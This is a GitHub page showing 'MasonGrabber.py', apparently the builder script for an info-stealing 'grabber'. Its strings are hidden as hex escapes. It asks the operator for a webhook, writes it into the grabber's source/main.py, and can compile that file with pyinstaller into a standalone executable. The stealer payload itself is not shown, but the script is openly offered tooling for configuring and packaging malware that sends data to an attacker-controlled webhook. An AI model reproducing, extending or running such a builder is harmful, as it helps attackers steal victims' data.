-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathMasonGrabber.py
34 lines (31 loc) · 2.41 KB
/
MasonGrabber.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import codecs
import os
from pyfiglet import Figlet
print(Figlet().renderText("\x4d\x61\x73\x6f\x6e\x47\x72\x61\x62\x62\x65\x72"))
whook = input("\x45\x6e\x74\x65\x72\x20\x59\x6f\x75\x72\x20\x57\x65\x62\x68\x6f\x6f\x6b\x3a ")
replace_text = "%whook%"
with open("\x73\x6f\x75\x72\x63\x65\x2f\x6d\x61\x69\x6e\x2e\x70\x79", "\x72", encoding="\x75\x74\x66\x2d\x38") as file:
data = file.read().replace(replace_text, whook)
with open("\x73\x6f\x75\x72\x63\x65\x2f\x6d\x61\x69\x6e\x2e\x70\x79", "\x77", encoding="\x75\x74\x66\x2d\x38") as file:
file.write(data)
def compile_to_executable():
try:
import pyinstaller
except ImportError:
os.system("pip install pyinstaller")
os.system("pyinstaller --onefile source/main.py")
print("\x44\x6f\x20\x79\x6f\x75\x20\x77\x61\x6e\x74\x20\x74\x6f\x20\x63\x6f\x6d\x70\x69\x6c\x65\x20\x69\x74\x20\x74\x6f\x20\x61\x6e\x20\x65\x78\x65\x63\x75\x74\x61\x62\x6c\x65\x20\x6f\x72\x20\x6b\x65\x65\x70\x20\x69\x74\x20\x61\x73\x20\x61\x20\x50\x79\x74\x68\x6f\x6e\x20\x73\x63\x72\x69\x70\x74\x3f")
print("\x49\x66\x20\x79\x6f\x75\x20\x77\x61\x6e\x74\x20\x74\x6f\x20\x63\x6f\x6d\x70\x69\x6c\x65\x2c\x20\x65\x6e\x74\x65\x72\x20\x27\x65\x78\x65\x63\x27\x2e\x20\x49\x66\x20\x79\x6f\x75\x20\x77\x61\x6e\x74\x20\x74\x6f\x20\x6b\x65\x65\x70\x20\x69\x74\x2c\x20\x65\x6e\x74\x65\x72\x20\x27\x6b\x65\x65\x70\x27\x2e")
choice = input("\x43\x68\x6f\x69\x63\x65\x20\x5b\x65\x78\x65\x63\x2f\x6b\x65\x65\x70\x5d\x3a ")
if choice == "\x65\x78\x65\x63":
compile_to_executable()
with open("\x73\x6f\x75\x72\x63\x65\x2f\x6d\x61\x69\x6e\x2e\x70\x79", "\x72", encoding="\x75\x74\x66\x2d\x38") as file:
data = file.read().replace(whook , replace_text)
with open("\x73\x6f\x75\x72\x63\x65\x2f\x6d\x61\x69\x6e\x2e\x70\x79", "\x77", encoding="\x75\x74\x66\x2d\x38") as file:
file.write(data)
print("\x43\x6f\x6d\x70\x69\x6c\x61\x74\x69\x6f\x6e\x20\x74\x6f\x20\x65\x78\x65\x63\x75\x74\x61\x62\x6c\x65\x20\x63\x6f\x6d\x70\x6c\x65\x74\x65\x64\x2e")
elif choice == "\x6b\x65\x65\x70":
print("\x4b\x65\x65\x70\x69\x6e\x67\x20\x74\x68\x65\x20\x73\x63\x72\x69\x70\x74\x20\x61\x73\x20\x61\x20\x50\x79\x74\x68\x6f\x6e\x20\x66\x69\x6c\x65\x2e")
else:
print("\x49\x6e\x76\x61\x6c\x69\x64\x20\x63\x68\x6f\x69\x63\x65\x2e\x20\x50\x6c\x65\x61\x73\x65\x20\x63\x68\x6f\x6f\x73\x65\x20\x27\x65\x78\x65\x63\x27\x20\x6f\x72\x20\x27\x6b\x65\x65\x70\x27\x2e")
quit()